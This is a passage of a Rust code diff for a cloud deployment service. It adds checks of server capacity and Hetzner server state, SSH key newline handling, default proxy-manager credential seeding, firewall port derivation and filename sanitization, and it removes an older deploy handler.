+        Some(available_ram_mb) if available_ram_mb >= minimum_ram_mb => Ok(()),
+        Some(available_ram_mb) => Err(format!(
+            "Template '{}' cannot be deployed to this target: selected server '{}' does not meet minimum RAM requirement (required: {} MB, available: {} MB)",
+            template.slug, server_slug, minimum_ram_mb, available_ram_mb
+        )),
+        None => Err(format!(
+            "Template '{}' cannot be deployed to this target: selected server '{}' is missing RAM metadata",
+            template.slug, server_slug
+        )),
+    }
+}
 
-    // Validate cloud credentials before encrypting/saving.
-    // For cloud providers ("htz", "do", "lin", "aws", etc.) we need valid credentials.
-    if form.cloud.provider != "own" {
-        let token_empty = form
-            .cloud
-            .cloud_token
-            .as_ref()
-            .map_or(true, |t| t.is_empty());
-        let key_empty = form
-            .cloud
-            .cloud_key
-            .as_ref()
-            .map_or(true, |k| k.is_empty());
-        let secret_empty = form
-            .cloud
-            .cloud_secret
-            .as_ref()
-            .map_or(true, |s| s.is_empty());
+fn validate_min_disk_requirement(
+    template: &models::StackTemplate,
+    server_slug: &str,
+    minimum_disk_gb: i32,
+    server_capacity: &app_service_catalog::ServerCapacity,
+) -> Result<(), String> {
+    match server_capacity.disk_gb {
+        Some(available_disk_gb) if available_disk_gb >= minimum_disk_gb => Ok(()),
+        Some(available_disk_gb) => Err(format!(
+            "Template '{}' cannot be deployed to this target: selected server '{}' does not meet minimum disk requirement (required: {} GB, available: {} GB)",
+            template.slug, server_slug, minimum_disk_gb, available_disk_gb
+        )),
+        None => Err(format!(
+            "Template '{}' cannot be deployed to this target: selected server '{}' is missing disk metadata",
+            template.slug, server_slug
+        )),
+    }
+}
 
-        if token_empty && (key_empty || secret_empty) {
-            tracing::error!(
-                "Deploy rejected: cloud provider '{}' requires credentials but none provided",
-                form.cloud.provider
-            );
-            return Err(JsonResponse::<models::Project>::build().bad_request(
-                "Cloud API credentials are required for cloud deployments. \
-                 Please provide your cloud provider API token.",
-            ));
-        }
+fn validate_min_cpu_requirement(
+    template: &models::StackTemplate,
+    server_slug: &str,
+    minimum_cpu_cores: i32,
+    server_capacity: &app_service_catalog::ServerCapacity,
+) -> Result<(), String> {
+    match server_capacity.cpu_cores {
+        Some(available_cpu_cores) if available_cpu_cores >= minimum_cpu_cores => Ok(()),
+        Some(available_cpu_cores) => Err(format!(
+            "Template '{}' cannot be deployed to this target: selected server '{}' does not meet minimum CPU requirement (required: {} cores, available: {} cores)",
+            template.slug, server_slug, minimum_cpu_cores, available_cpu_cores
+        )),
+        None => Err(format!(
+            "Template '{}' cannot be deployed to this target: selected server '{}' is missing CPU metadata",
+            template.slug, server_slug
+        )),
     }
+}
 
-    // Save cloud credentials if requested, capturing the returned cloud with its DB id
-    let cloud_creds: models::Cloud = (&form.cloud).into();
+fn project_locked_cloud_provider(project: &models::Project) -> Option<&str> {
+    project
+        .request_json
+        .get("custom")
+        .and_then(|custom| custom.get("locked_cloud_provider"))
+        .and_then(|provider| provider.as_str())
+        .map(str::trim)
+        .filter(|provider| !provider.is_empty())
+}
 
-    let cloud_creds = if Some(true) == cloud_creds.save_token {
-        db::cloud::insert(pg_pool.get_ref(), cloud_creds.clone())
-            .await
-            .map_err(|_| {
-                JsonResponse::<models::Cloud>::build()
-                    .internal_server_error("Internal Server Error")
-            })?
-    } else {
-        cloud_creds
+fn validate_project_locked_cloud_provider(
+    project: &models::Project,
+    provider: &str,
+) -> Result<(), String> {
+    let provider = provider.trim();
+    let Some(locked_provider) = project_locked_cloud_provider(project) else {
+        return Ok(());
     };
 
-    // Handle server: if server_id provided, update existing; otherwise create new
-    let server = if let Some(server_id) = form.server.server_id {
-        // Update existing server
-        let existing = db::server::fetch(pg_pool.get_ref(), server_id)
-            .await
-            .map_err(|_| {
-                JsonResponse::<models::Server>::build().internal_server_error("Failed to fetch server")
-            })?
-            .ok_or_else(|| {
-                JsonResponse::<models::Server>::build().not_found("Server not found")
-            })?;
+    if locked_provider.eq_ignore_ascii_case(provider) {
+        return Ok(());
+    }
 
-        // Verify ownership
-        if existing.user_id != user.id {
-            return Err(JsonResponse::<models::Server>::build().not_found("Server not found"));
-        }
+    Err(format!(
+        "This project is locked to cloud provider '{}'. Deploying with '{}' is not allowed.",
+        locked_provider, provider
+    ))
+}
 
-        let mut server = existing;
-        server.disk_type = form.server.disk_type.clone();
-        server.region = form.server.region.clone();
-        server.server = form.server.server.clone();
-        server.zone = form.server.zone.clone().or(server.zone);
-        server.os = form.server.os.clone();
-        server.project_id = id;
-        // Preserve existing srv_ip if form doesn't provide one
-        server.srv_ip = form.server.srv_ip.clone().or(server.srv_ip);
-        server.ssh_user = form.server.ssh_user.clone().or(server.ssh_user);
-        server.ssh_port = form.server.ssh_port.or(server.ssh_port);
-        server.name = form.server.name.clone().or(server.name);
-        if form.server.connection_mode.is_some() {
-            server.connection_mode = form.server.connection_mode.clone().unwrap();
-        }
+fn normalized_provider(provider: &str) -> String {
+    provider.trim().to_ascii_lowercase()
+}
 
-        db::server::update(pg_pool.get_ref(), server)
-            .await
-            .map_err(|_| {
-                JsonResponse::<models::Server>::build().internal_server_error("Failed to update server")
-            })?
-    } else {
-        // Create new server
-        let mut server: models::Server = (&form.server).into();
-        server.user_id = user.id.clone();
-        server.project_id = id;
-        // Set cloud_id from saved cloud credentials (if cloud was saved, it has a DB id)
-        if cloud_creds.id != 0 {
-            server.cloud_id = Some(cloud_creds.id);
-        }
+fn is_hetzner_provider(provider: &str) -> bool {
+    matches!(normalized_provider(provider).as_str(), "htz" | "hetzner")
+}
 
-        db::server::insert(pg_pool.get_ref(), server)
-            .await
-            .map_err(|_| {
-                JsonResponse::<models::Server>::build().internal_server_error("Internal Server Error")
-            })?
-    };
+fn cloud_credentials_missing(cloud: &crate::forms::CloudForm) -> bool {
+    let token_empty = cloud.cloud_token.as_ref().map_or(true, |t| t.is_empty());
+    let key_empty = cloud.cloud_key.as_ref().map_or(true, |k| k.is_empty());
+    let secret_empty = cloud.cloud_secret.as_ref().map_or(true, |s| s.is_empty());
+    token_empty && key_empty && secret_empty
+}
 
-    // Ensure every deploy payload carries the Stacker public key so the Install
-    // Service can inject it into authorized_keys on the remote server.
-    // - If the server has no active key yet: generate one, store in Vault, capture public key.
-    // - If the key is already active: fetch the public key from Vault.
-    let mut new_public_key: Option<String> = None;
-    let mut captured_private_key: Option<String> = None;
-    let server = if server.key_status != "active" {
-        match VaultClient::generate_ssh_keypair() {
-            Ok((public_key, private_key)) => {
-                match vault_client
-                    .get_ref()
-                    .store_ssh_key(&user.id, server.id, &public_key, &private_key)
-                    .await
-                {
-                    Ok(vault_path) => {
-                        tracing::info!(
-                            "Auto-generated SSH key for server {} (vault_key_path: {})",
-                            server.id,
-                            vault_path
-                        );
-                        new_public_key = Some(public_key);
-                        captured_private_key = Some(private_key);
-                        db::server::update_ssh_key_status(
-                            pg_pool.get_ref(),
-                            server.id,
-                            Some(vault_path),
-                            "active",
-                        )
-                        .await
-                        .unwrap_or_else(|e| {
-                            tracing::warn!("Failed to update SSH key status: {}", e);
-                            server
-                        })
-                    }
-                    Err(e) => {
-                        tracing::warn!(
-                            "Failed to store auto-generated SSH key in Vault for server {}: {}",
-                            server.id,
-                            e
-                        );
-                        server
-                    }
-                }
-            }
-            Err(e) => {
-                tracing::warn!(
-                    "Failed to auto-generate SSH keypair for server {}: {}",
-                    server.id,
-                    e
-                );
-                server
-            }
-        }
-    } else {
-        // Key already in Vault — fetch the public key so the Install Service can
-        // append it to authorized_keys on every deploy (idempotent on the remote side).
-        match vault_client
-            .get_ref()
-            .fetch_ssh_public_key(&user.id, server.id)
-            .await
-        {
-            Ok(pk) => {
-                tracing::info!(
-                    "Fetched existing public key from Vault for server {}",
-                    server.id
-                );
-                new_public_key = Some(pk);
-            }
-            Err(e) => {
-                tracing::warn!(
-                    "Failed to fetch public key from Vault for server {}: {}",
-                    server.id,
-                    e
-                );
-            }
-        }
-        server
-    };
+async fn resolve_saved_cloud_for_user(
+    pg_pool: &PgPool,
+    user_id: &str,
+    name: &str,
+) -> Result<Option<models::Cloud>, String> {
+    let clouds = db::cloud::fetch_by_user(pg_pool, user_id).await?;
+    let needle = name.to_ascii_lowercase();
+    Ok(clouds
+        .into_iter()
+        .find(|cloud| cloud.name.to_ascii_lowercase() == needle))
+}
 
-    // For "own" flow (existing server with IP), SSH access is required.
-    // If we couldn't set up the SSH key, fail early instead of letting the
-    // Install Service crash when it cannot find the key.
-    let has_existing_ip = server.srv_ip.as_ref().map_or(false, |ip| !ip.is_empty());
-    if has_existing_ip && new_public_key.is_none() && server.vault_key_path.is_none() {
-        tracing::error!(
-            "Cannot deploy to existing server {} (IP: {:?}): SSH key is not available. \
-             vault_key_path is None and key generation failed.",
-            server.id,
-            server.srv_ip,
-        );
-        return Err(JsonResponse::<models::Project>::build().bad_request(
-            "SSH key is not available for this server. \
-             Please generate an SSH key first with `stacker ssh-key generate` \
-             or re-add your server with SSH credentials.",
-        ));
+fn server_display_name(server: &models::Server) -> String {
+    server
+        .name
+        .as_deref()
+        .map(str::trim)
+        .filter(|name| !name.is_empty())
+        .map(ToOwned::to_owned)
+        .or_else(|| server.srv_ip.clone())
+        .unwrap_or_else(|| format!("server #{}", server.id))
+}
+
+fn reveal_cloud_credentials(cloud: &models::Cloud) -> models::Cloud {
+    if cloud.save_token == Some(true) {
+        forms::cloud::CloudForm::decode_model(cloud.clone(), true)
+    } else {
+        cloud.clone()
     }
+}
 
-    // Store deployment attempts into deployment table in db
-    let json_request = dc.project.metadata.clone();
-    let deployment_hash = format!("deployment_{}", Uuid::new_v4());
-    let deployment = models::Deployment::new(
-        dc.project.id,
-        Some(user.id.clone()),
-        deployment_hash.clone(),
-        String::from("pending"),
-        "runc".to_string(),
-        json_request,
-    );
+#[derive(Debug, Deserialize)]
+struct HetznerServersResponse {
+    #[serde(default)]
+    servers: Vec<HetznerServer>,
+}
 
-    let saved_deployment = db::deployment::insert(pg_pool.get_ref(), deployment)
-        .await
-        .map_err(|_| {
-            JsonResponse::<models::Project>::build().internal_server_error("Internal Server Error")
-        })?;
+#[derive(Debug, Deserialize)]
+struct HetznerServer {
+    name: String,
+    #[serde(default)]
+    status: Option<String>,
+    #[serde(default)]
+    public_net: Option<HetznerPublicNet>,
+}
 
-    let deployment_id = saved_deployment.id;
+#[derive(Debug, Deserialize)]
+struct HetznerPublicNet {
+    #[serde(default)]
+    ipv4: Option<HetznerIpv4>,
+}
 
-    // For "own" flow, fetch the SSH private key from Vault so the Install Service
-    // can SSH into the server directly without relying on Redis-cached file paths.
-    let new_private_key = if server.vault_key_path.is_some() {
-        // For newly generated keys, use the in-memory value to avoid an extra Vault round-trip.
-        // For existing servers (re-deployment), fetch from Vault.
-        if let Some(pk) = captured_private_key {
-            Some(pk)
-        } else {
-            match vault_client
-                .get_ref()
-                .fetch_ssh_key(&user.id, server.id)
-                .await
-            {
-                Ok(pk) => {
-                    tracing::info!("Fetched SSH private key from Vault for server {}", server.id);
-                    Some(pk)
-                }
-                Err(e) => {
-                    tracing::warn!(
-                        "Failed to fetch SSH private key from Vault for server {}: {}",
-                        server.id, e
-                    );
-                    None
-                }
-            }
-        }
-    } else {
-        None
-    };
+#[derive(Debug, Deserialize)]
+struct HetznerIpv4 {
+    ip: String,
+}
 
-    // Delegate to install service connector
-    install_service
-        .deploy(
-            user.id.clone(),
-            user.email.clone(),
+#[derive(Debug, Deserialize)]
+struct HetznerServerTypesResponse {
+    #[serde(default)]
+    server_types: Vec<HetznerServerTypeEntry>,
+}
+
+#[derive(Debug, Deserialize)]
+struct HetznerServerTypeEntry {
+    name: String,
+    /// Non-null when Hetzner has deprecated this type; value is an ISO-8601 timestamp.
+    #[serde(default)]
+    deprecated: Option<String>,
+}
+
+fn hetzner_api_base_url() -> String {
+    std::env::var("STACKER_HETZNER_API_URL")
+        .unwrap_or_else(|_| "https://api.hetzner.cloud/v1".to_string())
+        .trim_end_matches('/')
+        .to_string()
+}
+
+fn hetzner_server_ip(server: &HetznerServer) -> Option<&str> {
+    server
+        .public_net
+        .as_ref()?
+        .ipv4
+        .as_ref()
+        .map(|ipv4| ipv4.ip.as_str())
+}
+
+fn find_matching_hetzner_server<'a>(
+    servers: &'a [HetznerServer],
+    stacker_server: &models::Server,
+) -> Option<&'a HetznerServer> {
+    let expected_name = stacker_server
+        .name
+        .as_deref()
+        .map(str::trim)
+        .filter(|name| !name.is_empty());
+    let expected_ip = stacker_server
+        .srv_ip
+        .as_deref()
+        .map(str::trim)
+        .filter(|ip| !ip.is_empty());
+
+    servers.iter().find(|server| {
+        expected_name.is_some_and(|name| server.name == name)
+            || expected_ip.is_some_and(|ip| hetzner_server_ip(server) == Some(ip))
+    })
+}
+
+async fn verify_tcp_reachable(host: &str, port: i32, timeout_secs: u64) -> Result<(), String> {
+    let port = u16::try_from(port).map_err(|_| format!("invalid SSH port {}", port))?;
+    let address = (host, port);
+
+    match tokio::time::timeout(
+        Duration::from_secs(timeout_secs),
+        tokio::net::TcpStream::connect(address),
+    )
+    .await
+    {
+        Ok(Ok(_stream)) => Ok(()),
+        Ok(Err(err)) => Err(err.to_string()),
+        Err(_) => Err(format!("connection timed out after {}s", timeout_secs)),
+    }
+}
+
+async fn validate_hetzner_reused_server(
+    cloud: &models::Cloud,
+    server: &models::Server,
+) -> Result<(), String> {
+    let display_name = server_display_name(server);
+    let cloud = reveal_cloud_credentials(cloud);
+    let token = cloud
+        .cloud_token
+        .as_deref()
+        .map(str::trim)
+        .filter(|token| !token.is_empty())
+        .ok_or_else(|| {
+            "Could not verify connected Hetzner server because cloud credentials are unavailable. Re-add the cloud credential and retry.".to_string()
+        })?;
+
+    let client = reqwest::Client::builder()
+        .timeout(Duration::from_secs(8))
+        .build()
+        .map_err(|err| format!("Could not initialize Hetzner API client: {}", err))?;
+    let response = client
+        .get(format!("{}/servers", hetzner_api_base_url()))
+        .bearer_auth(token)
+        .send()
+        .await
+        .map_err(|err| {
+            format!(
+                "Could not verify connected Hetzner server '{}': {}",
+                display_name, err
+            )
+        })?;
+
+    if !response.status().is_success() {
+        return Err(format!(
+            "Could not verify connected Hetzner server '{}': Hetzner API returned HTTP {}. Check the saved cloud credential and retry.",
+            display_name,
+            response.status().as_u16()
+        ));
+    }
+
+    let body = response
+        .json::<HetznerServersResponse>()
+        .await
+        .map_err(|err| {
+            format!(
+                "Could not verify connected Hetzner server '{}': invalid Hetzner API response ({})",
+                display_name, err
+            )
+        })?;
+
+    let provider_server = find_matching_hetzner_server(&body.servers, server).ok_or_else(|| {
+        format!(
+            "Connected cloud server '{}' no longer exists in Hetzner. Run `stacker deploy --force-new` to provision a new server, or remove/reconnect the stale server in Stacker.",
+            display_name
+        )
+    })?;
+
+    if let Some(status) = provider_server.status.as_deref() {
+        if status != "running" {
+            return Err(format!(
+                "Connected cloud server '{}' exists in Hetzner but is '{}'. Start the server or run `stacker deploy --force-new` to provision a new one.",
+                display_name, status
+            ));
+        }
+    }
+
+    if let Some(ip) = server
+        .srv_ip
+        .as_deref()
+        .map(str::trim)
+        .filter(|ip| !ip.is_empty())
+    {
+        let ssh_port = server.ssh_port.unwrap_or(22);
+        verify_tcp_reachable(ip, ssh_port, 4)
+            .await
+            .map_err(|err| {
+                format!(
+                    "Connected cloud server '{}' exists in Hetzner but SSH is not reachable at {}:{} ({}). Fix the server/firewall or run `stacker deploy --force-new` to provision a new server.",
+                    display_name, ip, ssh_port, err
+                )
+            })?;
+    }
+
+    Ok(())
+}
+
+async fn validate_reused_cloud_server(
+    cloud: &models::Cloud,
+    server: &models::Server,
+) -> Result<(), String> {
+    let provider = normalized_provider(&cloud.provider);
+    let has_existing_ip = server
+        .srv_ip
+        .as_deref()
+        .map(str::trim)
+        .is_some_and(|ip| !ip.is_empty());
+
+    if provider == "own" || !has_existing_ip {
+        return Ok(());
+    }
+
+    if is_hetzner_provider(&provider) {
+        return validate_hetzner_reused_server(cloud, server).await;
+    }
+
+    tracing::warn!(
+        "Reused cloud server validation is not implemented for provider '{}'; proceeding with existing behavior",
+        cloud.provider
+    );
+    Ok(())
+}
+
+async fn validate_hetzner_server_type(
+    cloud: &models::Cloud,
+    server_type: &str,
+    region: Option<&str>,
+) -> Result<(), String> {
+    let server_type = server_type.trim();
+    if server_type.is_empty() || !is_hetzner_provider(&cloud.provider) {
+        return Ok(());
+    }
+
+    let cloud = reveal_cloud_credentials(cloud);
+    let token = match cloud
+        .cloud_token
+        .as_deref()
+        .map(str::trim)
+        .filter(|t| !t.is_empty())
+    {
+        Some(t) => t.to_string(),
+        None => return Ok(()),
+    };
+
+    let client = reqwest::Client::builder()
+        .timeout(Duration::from_secs(8))
+        .build()
+        .map_err(|err| format!("Could not initialize Hetzner API client: {}", err))?;
+
+    let url = match region {
+        Some(loc) => format!("{}/server_types?location={}", hetzner_api_base_url(), loc),
+        None => format!("{}/server_types", hetzner_api_base_url()),
+    };
+
+    let response = match client.get(&url).bearer_auth(&token).send().await {
+        Ok(r) => r,
+        Err(err) => {
+            tracing::warn!(
+                "Could not reach Hetzner API to validate server type '{}': {}; proceeding",
+                server_type,
+                err
+            );
+            return Ok(());
+        }
+    };
+
+    if !response.status().is_success() {
+        tracing::warn!(
+            "Hetzner server_types API returned HTTP {}; skipping server type validation",
+            response.status().as_u16()
+        );
+        return Ok(());
+    }
+
+    let body = match response.json::<HetznerServerTypesResponse>().await {
+        Ok(b) => b,
+        Err(err) => {
+            tracing::warn!(
+                "Invalid Hetzner server types response: {}; skipping validation",
+                err
+            );
+            return Ok(());
+        }
+    };
+
+    // Check if the requested type is deprecated before checking availability.
+    if let Some(entry) = body
+        .server_types
+        .iter()
+        .find(|t| t.name.eq_ignore_ascii_case(server_type))
+    {
+        if entry.deprecated.is_some() {
+            let active: Vec<&str> = body
+                .server_types
+                .iter()
+                .filter(|t| t.deprecated.is_none())
+                .map(|t| t.name.as_str())
+                .collect();
+            return Err(format!(
+                "Server type '{}' is deprecated in Hetzner and can no longer be used to create new servers. \
+                 Set `deploy.cloud.size` in stacker.yml to an active type: {}",
+                server_type,
+                if active.is_empty() {
+                    "none found".to_string()
+                } else {
+                    active.join(", ")
+                }
+            ));
+        }
+        return Ok(());
+    }
+
+    let available: Vec<&str> = body
+        .server_types
+        .iter()
+        .filter(|t| t.deprecated.is_none())
+        .map(|t| t.name.as_str())
+        .collect();
+
+    Err(format!(
+        "Server type '{}' is not available in Hetzner. Available types: {}",
+        server_type,
+        if available.is_empty() {
+            "none found".to_string()
+        } else {
+            available.join(", ")
+        }
+    ))
+}
+
+async fn validate_template_server_capacity_requirements(
+    template: &models::StackTemplate,
+    requirements: &models::InfrastructureRequirements,
+    provider: &str,
+    cloud_id: Option<i32>,
+    server_slug: Option<&str>,
+    access_token: Option<&str>,
+) -> Result<(), String> {
+    if requirements.min_ram_mb.is_none()
+        && requirements.min_disk_gb.is_none()
+        && requirements.min_cpu_cores.is_none()
+    {
+        return Ok(());
+    }
+
+    if !app_service_catalog::is_supported_cloud_provider(provider) {
+        return Ok(());
+    }
+
+    let server_slug = server_slug.ok_or_else(|| {
+        format!(
+            "Template '{}' cannot be deployed to this target: selected server is required for minimum RAM validation",
+            template.slug
+        )
+    })?;
+
+    let payload = app_service_catalog::fetch_catalog(provider, "servers", cloud_id, access_token)
+        .await
+        .map_err(|err| {
+            format!(
+                "Template '{}' cannot be deployed to this target: failed to load server catalog: {}",
+                template.slug, err
+            )
+        })?;
+
+    let server_capacity = app_service_catalog::resolve_server_capacity(&payload, server_slug)
+        .ok_or_else(|| {
+            format!(
+                "Template '{}' cannot be deployed to this target: selected server '{}' was not found in the provider catalog",
+                template.slug, server_slug
+            )
+        })?;
+
+    if let Some(minimum_ram_mb) = requirements.min_ram_mb {
+        validate_min_ram_requirement(template, server_slug, minimum_ram_mb, &server_capacity)?;
+    }
+
+    if let Some(minimum_disk_gb) = requirements.min_disk_gb {
+        validate_min_disk_requirement(template, server_slug, minimum_disk_gb, &server_capacity)?;
+    }
+
+    if let Some(minimum_cpu_cores) = requirements.min_cpu_cores {
+        validate_min_cpu_requirement(template, server_slug, minimum_cpu_cores, &server_capacity)?;
+    }
+
+    Ok(())
+}
+
+#[derive(Debug, Deserialize)]
+pub struct RollbackRequest {
+    pub version: String,
+}
+
+fn build_rollback_project_payload(
+    stack_definition: serde_json::Value,
+) -> Result<(serde_json::Value, String), String> {
+    let form: forms::project::ProjectForm = serde_json::from_value(stack_definition.clone())
+        .map_err(|err| format!("Invalid marketplace template definition: {}", err))?;
+    let stack_code = form.custom.custom_stack_code.clone();
+    let metadata = serde_json::to_value(form).map_err(|err| {
+        format!(
+            "Failed to normalize marketplace template definition: {}",
+            err
+        )
+    })?;
+    Ok((metadata, stack_code))
+}
+
+fn build_rollback_deploy_form(template_stack_code: String) -> forms::project::Deploy {
+    forms::project::Deploy {
+        stack: forms::project::Stack {
+            stack_code: Some(template_stack_code),
+            ..Default::default()
+        },
+        ..Default::default()
+    }
+}
+
+fn deploy_features_contain(features: Option<&Vec<serde_json::Value>>, expected: &str) -> bool {
+    features.is_some_and(|items| {
+        items.iter().any(|feature| {
+            feature
+                .as_str()
+                .is_some_and(|value| value.eq_ignore_ascii_case(expected))
+        })
+    })
+}
+
+fn deploy_uses_managed_nginx_proxy_manager(form: &forms::project::Deploy) -> bool {
+    deploy_features_contain(
+        form.stack.extended_features.as_ref(),
+        MANAGED_NGINX_PROXY_MANAGER_FEATURE,
+    )
+}
+
+fn deploy_uses_status_panel_agent(form: &forms::project::Deploy) -> bool {
+    form.server.connection_mode.as_deref() == Some(STATUS_PANEL_CONNECTION_MODE)
+        || deploy_features_contain(
+            form.stack.integrated_features.as_ref(),
+            STATUS_PANEL_FEATURE,
+        )
+}
+
+fn should_seed_default_status_panel_npm_credentials(form: &forms::project::Deploy) -> bool {
+    deploy_uses_managed_nginx_proxy_manager(form) && deploy_uses_status_panel_agent(form)
+}
+
+fn default_status_panel_npm_credentials() -> serde_json::Value {
+    serde_json::json!({
+        "schema_version": 1,
+        "host": DEFAULT_STATUS_PANEL_NPM_HOST,
+        "email": DEFAULT_STATUS_PANEL_NPM_EMAIL,
+        "password": DEFAULT_STATUS_PANEL_NPM_PASSWORD,
+        "auth_mode": DEFAULT_STATUS_PANEL_NPM_AUTH_MODE
+    })
+}
+
+async fn ensure_default_status_panel_npm_credentials(
+    user: &models::User,
+    form: &forms::project::Deploy,
+    pg_pool: &PgPool,
+    settings: &Settings,
+    server: &models::Server,
+) -> Result<bool, String> {
+    if !should_seed_default_status_panel_npm_credentials(form) {
+        return Ok(false);
+    }
+
+    if db::remote_secret::fetch_server_secret(
+        pg_pool,
+        &user.id,
+        server.id,
+        STATUS_PANEL_NPM_CREDENTIALS_SECRET,
+    )
+    .await?
+    .is_some()
+    {
+        return Ok(false);
+    }
+
+    let vault = services::VaultService::from_settings(&settings.vault)
+        .map_err(|error| error.to_string())?;
+    let vault_path = vault.status_panel_npm_credentials_path(server.id);
+    let default_credentials = default_status_panel_npm_credentials();
+
+    vault
+        .store_structured_secret_value(&vault_path, &default_credentials)
+        .await
+        .map_err(|error| error.to_string())?;
+
+    db::remote_secret::upsert_server_secret(
+        pg_pool,
+        &user.id,
+        server.id,
+        STATUS_PANEL_NPM_CREDENTIALS_SECRET,
+        &vault_path,
+        &user.id,
+        "synced",
+    )
+    .await?;
+
+    tracing::info!(
+        "Seeded default Nginx Proxy Manager credentials for server {} at {}",
+        server.id,
+        vault_path
+    );
+
+    Ok(true)
+}
+
+fn is_non_empty_json(value: &serde_json::Value) -> bool {
+    match value {
+        serde_json::Value::Null => false,
+        serde_json::Value::Array(items) => !items.is_empty(),
+        serde_json::Value::Object(map) => !map.is_empty(),
+        serde_json::Value::String(value) => !value.trim().is_empty(),
+        _ => true,
+    }
+}
+
+fn normalize_optional_secret(value: &Option<String>) -> Option<String> {
+    value
+        .as_ref()
+        .map(|value| value.trim().to_string())
+        .filter(|value| !value.is_empty())
+}
+
+fn resolve_provided_ssh_keypair(
+    form: &forms::server::ServerForm,
+) -> Result<Option<(String, String)>, String> {
+    let private_key = match normalize_optional_secret(&form.ssh_private_key) {
+        Some(key) => key,
+        None => return Ok(None),
+    };
+
+    let public_key = match normalize_optional_secret(&form.public_key) {
+        Some(key) => key,
+        None => {
+            let private = ssh_key::PrivateKey::from_openssh(&private_key)
+                .map_err(|err| format!("Invalid SSH private key: {}", err))?;
+            private
+                .public_key()
+                .to_openssh()
+                .map_err(|err| format!("Failed to derive SSH public key: {}", err))?
+        }
+    };
+
+    // BUGFIX (2026-07-08) — DO NOT REMOVE.
+    // OpenSSH's key loader (libcrypto) rejects a private-key file that does not
+    // end in a newline, failing with `Load key "...": error in libcrypto` and
+    // then `Permission denied (publickey)`. `normalize_optional_secret` above
+    // trims surrounding whitespace (needed for the empty check), which strips
+    // the trailing "\n". The install service writes this value verbatim to
+    // /var/tmp/own_<id>.pem, so we must restore exactly one trailing newline
+    // before it leaves this service. This is NOT a key-format problem — do not
+    // "fix" it by converting to PKCS8.
+    let private_key = ensure_trailing_newline(private_key);
+
+    Ok(Some((public_key, private_key)))
+}
+
+/// Ensure a PEM/OpenSSH private key ends with exactly one trailing newline.
+/// See the bugfix note in `resolve_provided_ssh_keypair` — OpenSSH refuses to
+/// load a key file without a final newline (`error in libcrypto`).
+fn ensure_trailing_newline(mut key: String) -> String {
+    if !key.ends_with('\n') {
+        key.push('\n');
+    }
+    key
+}
+
+fn ensure_root_object(
+    value: &mut serde_json::Value,
+) -> &mut serde_json::Map<String, serde_json::Value> {
+    if !value.is_object() {
+        *value = serde_json::json!({});
+    }
+
+    value
+        .as_object_mut()
+        .expect("root value should be normalized to object")
+}
+
+fn ensure_custom_object(
+    value: &mut serde_json::Value,
+) -> &mut serde_json::Map<String, serde_json::Value> {
+    let root = ensure_root_object(value);
+    let custom = root
+        .entry("custom".to_string())
+        .or_insert_with(|| serde_json::json!({}));
+    if !custom.is_object() {
+        *custom = serde_json::json!({});
+    }
+
+    custom
+        .as_object_mut()
+        .expect("custom value should be normalized to object")
+}
+
+fn custom_field(value: &serde_json::Value, field: &str) -> Option<serde_json::Value> {
+    value
+        .get("custom")
+        .and_then(|custom| custom.get(field))
+        .cloned()
+}
+
+/// Cloud-firewall public ports implied by the stack's own app definitions.
+///
+/// Stack Builder (the web UI) stores an app's "public port" as a `shared_ports`
+/// entry that carries a `host_port`. docker-compose publishes those on the host,
+/// but the cloud provider firewall has to be opened separately or the app is
+/// unreachable — only SSH/22 is open by default. Historically only the CLI's
+/// top-level `public_ports` (from `deploy.cloud.public_ports` in stacker.yml)
+/// reached the firewall, so ports configured through the web UI were silently
+/// never published at the provider edge. We therefore derive firewall rules from
+/// every host-published `shared_ports` entry across the stack's web/service/
+/// feature apps.
+///
+/// Loopback-bound mappings (host_ip `127.0.0.1` / `::1` / `localhost`) are
+/// excluded on purpose: those are intentionally host-local (e.g. a database
+/// bound to localhost) and must never be exposed at the provider edge.
+///
+/// Returned specs are canonical `"port/protocol"` strings, de-duplicated.
+fn derive_public_ports_from_metadata(metadata: &serde_json::Value) -> Vec<String> {
+    const APP_GROUPS: [&str; 3] = ["web", "service", "feature"];
+
+    let Some(custom) = metadata.get("custom") else {
+        return Vec::new();
+    };
+
+    let mut ports: Vec<String> = Vec::new();
+    let mut seen: HashSet<String> = HashSet::new();
+
+    for group in APP_GROUPS {
+        let Some(apps) = custom.get(group).and_then(serde_json::Value::as_array) else {
+            continue;
+        };
+        for app in apps {
+            let Some(shared_ports) = app
+                .get("shared_ports")
+                .and_then(serde_json::Value::as_array)
+            else {
+                continue;
+            };
+            for raw in shared_ports {
+                // Reuse the validated Port form + its docker-compose conversion so
+                // host_ip / host_port / protocol are parsed exactly as they are for
+                // the generated compose file (host_ip may be embedded in the
+                // container_port field, e.g. "127.0.0.1:1025:25").
+                let Ok(port) = serde_json::from_value::<forms::project::Port>(raw.clone()) else {
+                    continue;
+                };
+                let dc_port: docker_compose_types::Port = match (&port).try_into() {
+                    Ok(dc) => dc,
+                    Err(_) => continue,
+                };
+                // Only ports actually published to the host reach the edge.
+                let host_port = match dc_port.published {
+                    Some(docker_compose_types::PublishedPort::Single(p)) => p,
+                    _ => continue,
+                };
+                // Skip loopback-bound mappings — intentionally host-local.
+                if let Some(ip) = dc_port.host_ip.as_deref() {
+                    if matches!(ip, "127.0.0.1" | "::1" | "localhost") {
+                        continue;
+                    }
+                }
+                let protocol = dc_port.protocol.as_deref().unwrap_or("tcp");
+                let spec = format!("{host_port}/{protocol}");
+                if seen.insert(spec.clone()) {
+                    ports.push(spec);
+                }
+            }
+        }
+    }
+
+    ports
+}
+
+fn template_version_field(
+    template_version: &models::StackTemplateVersion,
+    field: &str,
+) -> Option<serde_json::Value> {
+    let value = match field {
+        "marketplace_config_files" => &template_version.config_files,
+        "marketplace_assets" => &template_version.assets,
+        "marketplace_seed_jobs" => &template_version.seed_jobs,
+        "marketplace_post_deploy_hooks" => &template_version.post_deploy_hooks,
+        _ => &serde_json::Value::Null,
+    };
+
+    is_non_empty_json(value).then(|| value.clone())
+}
+
+fn upsert_custom_field(target: &mut serde_json::Value, field: &str, value: &serde_json::Value) {
+    let custom = ensure_custom_object(target);
+    if !custom.contains_key(field) {
+        custom.insert(field.to_string(), value.clone());
+    }
+}
+
+fn sanitize_runtime_bundle_filename(raw_filename: &str) -> Option<String> {
+    let normalized = raw_filename.trim().replace('\\', "/");
+    if normalized.is_empty() {
+        return None;
+    }
+
+    Path::new(&normalized)
+        .file_name()
+        .and_then(|filename| filename.to_str())
+        .map(str::trim)
+        .filter(|filename| !filename.is_empty() && *filename != "." && *filename != "..")
+        .map(|filename| filename.to_string())
+}
+
+fn select_runtime_bundle_asset(custom: &serde_json::Value) -> Option<models::MarketplaceAsset> {
+    custom
